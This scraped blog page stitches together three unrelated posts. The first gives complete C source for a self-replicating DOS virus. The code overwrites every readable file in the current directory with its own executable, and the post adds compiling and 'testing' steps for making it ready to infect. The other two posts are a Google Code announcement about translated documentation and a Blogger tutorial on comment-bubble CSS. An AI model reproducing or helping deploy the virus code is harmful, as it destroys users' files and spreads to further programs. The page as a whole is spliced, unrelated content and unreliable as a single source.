Seo Master present to you:

 

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

 

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

 

 

 

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

Seo Master present to you: By Naomi Bilodeau, Google Code Team

Developers speak lots of languages, not just English and C++. We know that you use Google Code from all over the world, and we understand that the love of a good API is universal.

We're excited to announce that developer content on Google Code is now available in five new languages: Chinese, Japanese, Portuguese, Russian, and Spanish. Many of our pages, such as the site directory and landing pages for the various APIs have already been translated. You will also find that some of the deeper technical documentation, such as the Chart API and Maps API, has also been translated where appropriate. Where we haven't translated the content yet, you will continue to see the English version of the site.

We'll be working to keeping this content up-to-date, and we're looking forward to adding more support for languages and APIs throughout the year.

Update: Corrected to read "in five new languages." The sixth language, of course, is English.

Seo Master present to you: A comment bubble with current number of comments displayed to each blogger post titles could make your blog more attractive. This improves not only your comments count but also allows your visitors to see what are the most popular posts on your blog. When a post has many comments, then the comment bubble will show the popularity of your posts to readers and visitors so that they might be more interested in reading them.

So let's start adding it:


Step 1. Go to Dashboard - Template - Edit HTML (click on Proceed button, if needed)


Step 2. Select "Expand Widget Template" (make a backup)

Step 3. Find - using CTRL + F - the following piece of code in your template:

]]></b:skin>

Step 4. Add the below code just above ]]></b:skin>:

.comment-bubble {
float : right;
width : 48px;
height : 48px;
background : url(http://www.matrixar.com/-7FFIKA34Kvw/T4x9E0RmA0I/AAAAAAAAALI/03AG305CesI/s1600/speech+bubble+green.png);
background-repeat: no-repeat;
font-size : 18px;
margin-top : -15px;
margin-right : 2px;
text-align : center;
}

Step 5. Now find this code:

<b:if cond='data:post.title'>
<h3 class='post-title entry-title'>

Note: If you can't find it, search this code instead:

<b:if cond='data:post.title'>
      <h3 class='post-title entry-title' itemprop='name'>

Step 6. And add this code immediately after it:

<b:if cond='data:post.allowComments'>
<a class='comment-bubble' expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick' style='color: #ffffff; font-size: 18px; font-weight: bold;'><data:post.numComments/></a>
</b:if>

Note:

• to change the color of the comments number, replace #ffffff with the hex value of your color;
• to change the font size, increase/decrease the 18px value;

Step 7. Preview your template and if everything is ok, click on Save Template.

Comment Bubbles 

You can choose one of the images below - right click on the desired image and select "Copy Image Address/Location", then replace the red code from step 3 with the address you just copied.




That's it! Enjoy (:
